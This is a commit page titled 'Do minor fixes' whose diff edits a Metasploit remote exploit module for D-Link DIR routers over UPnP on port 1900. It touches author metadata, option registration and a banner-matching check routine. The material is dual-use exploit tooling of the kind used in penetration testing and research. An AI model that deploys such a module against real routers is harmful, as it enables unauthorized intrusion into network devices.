Do minor fixes
parent
579ce0a858
commit
36c6e74221
|
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Zachary Cutlip', # Vulnerability discovery and initial exploit
|
||||
'Michael Messner <devnull@s3cur1ty.de>' # Metasploit module and verification on other routers
|
||||
'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module and verification on other routers
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
|
@ -45,16 +45,18 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
'Platform' => 'linux',
|
||||
'Arch' => ARCH_MIPS
|
||||
}
|
||||
],
|
||||
]
|
||||
],
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(1900),
|
||||
Opt::RPORT(1900)
|
||||
], self.class)
|
||||
|
||||
deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR')
|
||||
end
|
||||
|
||||
def check
|
||||
|
@ -72,8 +74,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
res = nil
|
||||
1.upto(5) do
|
||||
res,_,_ = udp_sock.recvfrom(65535, 1.0)
|
||||
break if res and res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi
|
||||
udp_sock.sendto(msearch, rhost, rport, 0)
|
||||
break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi
|
||||
udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
end
|
||||
|
||||
# UPnP response:
|
||||
|
|
Loading…
Reference in New Issue